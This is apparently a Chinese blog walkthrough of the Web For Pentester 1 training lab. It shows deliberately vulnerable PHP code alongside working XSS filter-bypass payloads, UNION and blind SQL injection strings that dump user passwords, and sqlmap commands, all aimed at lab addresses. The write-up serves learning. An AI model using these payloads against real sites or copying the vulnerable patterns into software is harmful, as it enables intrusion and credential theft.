Web For Pentester-1


Web For Pentester-1

前言

这是一个综合类靶场,综合了常见的例如:XSS/SQL注入/目录遍历/文件包含/代码注入/命令注入/LADP/文件上传/XML攻击

Difficulty

Beginner

Details

This exercise is a set of the most common web vulnerabilities:

What you will learn?

  • Basics of Web
  • Basics of HTTP
  • Detection of common web vulnerabilities:
  • Cross-Site Scripting
  • SQL injections
  • Directory traversal
  • Command injection
  • Code injection
  • XML attacks
  • LDAP attacks
  • File upload
  • Basics of fingerprinting

咳咳,又到了传统的保留环节,啊,我又忍不住要吟诗一首了。

拟古
周端朝

稼桃复稼李,照影落春水。

渡头看青杨,翦剪从风起。

裁书写连环,殷勤问行李。

一笼幺凤翼,一系青鸾尾。

江南三月天,群英烂如绮。

开到芜菁花,春事良未已。

何当缓缓归,荡漾绿波裹。

Cross-Site Scripting

跨站脚本攻击,又称为 XSS,本来是应该叫做 CSS,但是被抢注了,没办法就叫做 XSS 了。

Example 1 无任何过滤

源码

<?php require_once '../header.php'; ?>
<html>
Hello 
<?php 
 echo $_GET["name"];
?>

<?php require_once '../footer.php'; ?>

解释

从源码可以看出来,是没有对输入进行验证的,所以我们可以使用最经典的 XSS 注入命令 alert

POC

http://192.168.17.179/xss/example1.php?name=<script>alert(1);</script>

Example 2 大小写过滤

源码

<?php require_once '../header.php'; ?>
Hello 
<?php
  
 $name = $_GET["name"];
 $name = preg_replace("/<script>/","", $name);
 $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

解释

从上面的源码可以看出,这里是过滤了 <script></script> 标签,一般来说这只是一种比较简单的过滤方法,但是由于 JavaScript 对这个大小写不敏感,所以可以通过构造一个大小写混合,纯大写,或者嵌套插入被过滤词的 poc

  1. <sCript>alert(1)</sCript>
  2. <scr<script>ipt>alert(1)</scr</script>ipt>

POC

http://192.168.17.179/xss/example2.php?name=<sCript>alert(1)</sCript>
http://192.168.17.179/xss/example2.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>

Example 3 嵌套绕过

源码

<?php require_once '../header.php'; ?>
Hello 
<?php
  
 $name = $_GET["name"];
 $name = preg_replace("/<script>/i","", $name);
 $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

<?php require_once '../footer.php'; ?>

解释

通过观看源码,这次的过滤手段比 example-2 又多了一种,由于有了 i,所以是连同大小写一起过滤,但是还是可以通过上述的 2 号 poc 绕过的,因为过滤的是连续的 <script>,所以可以绕过。

POC

http://192.168.17.179/xss/example3.php?name=<scr<script>ipt>alert(1)</scr</script>ipt>

Example 4 其他标签绕过

<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

解释

这次的源码里面写了,只要出现 script,无论是大小写都是停止运行,所以说上面的三个的 poc 就不能用了。所以说我们可以通过使用另一个标签,对吧,HTML 中有好多可以不需要使用脚本就可以产生弹窗的标签,我们可以换一个比如说 imgdiv,的事件。onerror 或者 onmousemove

POC

http://192.168.17.179/xss/example4.php?name=<img src="随便" onerror="alert(1)">
http://192.168.17.179/xss/example4.php?name=<div onmousemove="alert(1)" src="xxxx">

Example 5 编码或其他方法绕过

<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

解释

这个源码展现的就是和上面的差不多,只不过这次过滤的是 alert,只要检测到这个单词,程序就会停止,那么这样的话,其实也是可以绕过的,可以通过使用例如画一个弹窗。

POC

http://192.168.17.179/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
http://192.168.17.179/xss/example5.php?name=<script>confirm(1)</script>
http://192.168.17.179/xss/example5.php?name=<script>prompt(1)</script>

Example 6 闭合双引号

源码

<?php require_once '../header.php'; ?>
Hello 
<script>
  var $a= "<?php  echo $_GET["name"]; ?>";
</script>
<?php require_once '../footer.php'; ?>

解释

好家伙,这次直接是吃饭给准备好了碗筷,既然是标签都给你构造好了,我们只需要填好内容就好了,所以说直接填上 alert 就好了。

POC

http://192.168.17.179/xss/example6.php?name=";alert(1); //

Example 7 闭合单引号

源码

<?php require_once '../header.php'; ?>
Hello
<script>
        var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

<?php require_once '../footer.php'; ?>

解释

这个源码表达的意思,就是比上一个高级了一些,引入了一个函数 htmlentities,会将一些指定的字符进行编码以此来防御 XSS 注入,但是开发者并没有为函数指定任何参数,默认的话只是启用了 ENT_COMPAT|ENT_HTML401ENT_COMPAT 标志只会处理双引号,不会处理单引号。所以将上述的 poc 得双引号变成单引号即可。

POC

http://192.168.17.179/xss/example7.php?name=';alert(1);//

Example 8 PHP_SELF

源码

<?php
  require_once '../header.php';

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

<?php
  require_once '../footer.php';
?>

解释

通过源码看出,这次程序的编写这对参数 name 进行了正确的验证,但是这次的问题发生在了 $_SERVER['PHP_SELF'] 上面,程序并没有对参数 PHP_SELF 进行验证,所以还是可以利用的。

POC

http://192.168.17.179/xss/example8.php/" onmouseover="alert(1)

Example 9 localtion.hash

源码

<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

解释

通过源码可以看出来,这是一个基于 DOMXSS 。所以说只要再 # 后面输入 XSS 的代码,就可以触发漏洞。

POC

http://192.168.17.179/xss/example9.php#<script>alert(1)</script>

SQL injections SQL 注入

Example 1 基础注入

源码

$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
  while ($row = mysql_fetch_assoc($result))
    echo "<tr>";
  echo "<td>".$row['id']."</td>";
  echo "<td>".$row['name']."</td>";
  echo "<td>".$row['age']."</td>";
  echo "</tr>";
}
echo "</table>";

解释

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 name=’X’

POC

example1.php?name=x' union select 1,2,(SELECT+GROUP_CONCAT(name,":",passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5--+

Example 2 过滤空格

源码

if (preg_match('/ /', $_GET["name"])) {
                die("ERROR NO SPACE");
        }
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);

解释

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 name=’X’

和 Example 1 基本上一致,只是这里过滤了 空格,如果匹配到空格的话,直接就终止函数。

过滤空格可以尝试通过下面的字符来替代:

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0c 新的一页
  • %0d return 功能
  • %0b TAB 键(垂直)
  • %a0 空格
  • /**/ 多行注释

最终的 payload 如下:

POC

example2.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23

Example 3 过滤连续空格

源码

if (preg_match('/\s+/', $_GET["name"])) {
                die("ERROR NO SPACE");
        }
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);

解释

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where name=’X’

来过滤一个或多个连续空格。但是,我仍然可以使用多行注释/**/ 或者 Example 2 其他字符来 Bypass

POC

example3.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23

sqlmap 也有内置的 tamper 可以直接使用:

sqlmap -u "http://192.168.17.179/sqli/example3.php?name=root*%23" --technique=U --dbms=MySQL --tamper="space2comment" --random-agent --flush-session -v 3 --level=3

Example 4 画蛇添足的过滤

源码

# id 直接拼接到 SQL 语句中
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);

解释

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符:\'",那么问题来了 这一题中并没有使用引号来闭合,所以注入的时候我们也不需要引号,所以实际上这个函数并没有发挥作用,下面正常进行注入吧:

POC

example4.php?id=-2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5

Example 5 画蛇添足的正则

源码

if (!preg_match('/^[0-9]+/', $_GET["id"])) {
     die("ERROR INTEGER REQUIRED");
 }
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

$result = mysql_query($sql);

解释

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

参数 id 必须是数字开头,否则直接终止函数运行。不过实际手工注入的时候默认 id 是满足这个条件的,除非我们手动修改这个 id 的值:

POC

example5.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5 

这里不能用 id=-2 来构造报错了,因为正则限制 id 必须是数字开题,所以这里使用了 and 1=2 来构造报错。不过实际上这里不用构造报错也可以的,因为页面不止显示一条查询信息,但是由于注入习惯的原因,这里就构造报错。

Example 6 画蛇添足的正则 again

源码

if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

$result = mysql_query($sql);

解释

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

这里和 Example 5 差不多,只是这里确保 id 的值以数字结束,看看我们的上一关的 payload:

POC

example6.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5 

恰巧是以数字 5 结束,所以这个正则就很画蛇添足

Example 7 /m 正则缺陷 Bypass

源码

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

$result = mysql_query($sql);

解释

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

id 只允许 233 或者 -233 这样的形式,这样肯定是无法进行注入的了。天无绝人之路,仔细观察 这里使用了 /m/m表示开启多行匹配模式,正常情况下^可以匹配每行的开头和结尾。我们常用:

  • %0A 换行

来绕过 /m 模式的正则检测,完整的 payload 如下:

POC

example7.php?id=-2%0a union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5 

使用 sqlmap 也是可以正常进行注入的:

sqlmap -u "http://10.211.55.20/sqli/example7.php?id=2" --technique=U --dbms=MySQL --prefix="%0a" --random-agent --flush-session -v 3

Example 8 order by 盲注

源码

$sql = "SELECT * FROM users ORDER BY `";                         
$sql .= mysql_real_escape_string($_GET["order"])."`";            
$result = mysql_query($sql);                 

解释

请求方式 注入类型 闭合方式
GET 布尔盲注、延时盲注 order by X

order by 不同于 where 后的注入点,不能使用 union 等进行注入。不过注入方式也十分灵活,下面在本关来详细讲解一下。这里并没有输出报错日志,这里只能使用盲注,效率要低一些,这里使用布尔类型盲注来简单尝试一下:

POC

# 数据库第 1 位的 ascii 码为 101 即 e
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))--+

example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))--+

# 数据库第 2 位的 ascii 码为 120 即 x
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))--+

example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))--+
...

直接用 sqlmap 当然也是可以跑起来的:

sqlmap -u "http://10.211.55.20/sqli/example8.php?order=name" --technique=B --dbms=MySQL --prefix='`' --random-agent --flush-session -v 3 --level 3

Example 9 order by 盲注

源码

$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);

解释

请求方式 注入类型 闭合方式
GET 布尔盲注、延时盲注 order by X

比 Example 8 更简单,这里没有奇怪的闭合拼接方式就直接导入到 SQL 语句中了,下面直接开始注入吧:

POC

# 数据库第 1 位的 ascii 码为 101 即 e
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))

# 数据库第 2 位的 ascii 码为 120 即 x
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))

直接用 sqlmap 当然也是可以跑起来的:

sqlmap -u "http://10.211.55.20/sqli/example9.php?order=name" --technique=B --dbms=MySQL --random-agent --flush-session -v 3

文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录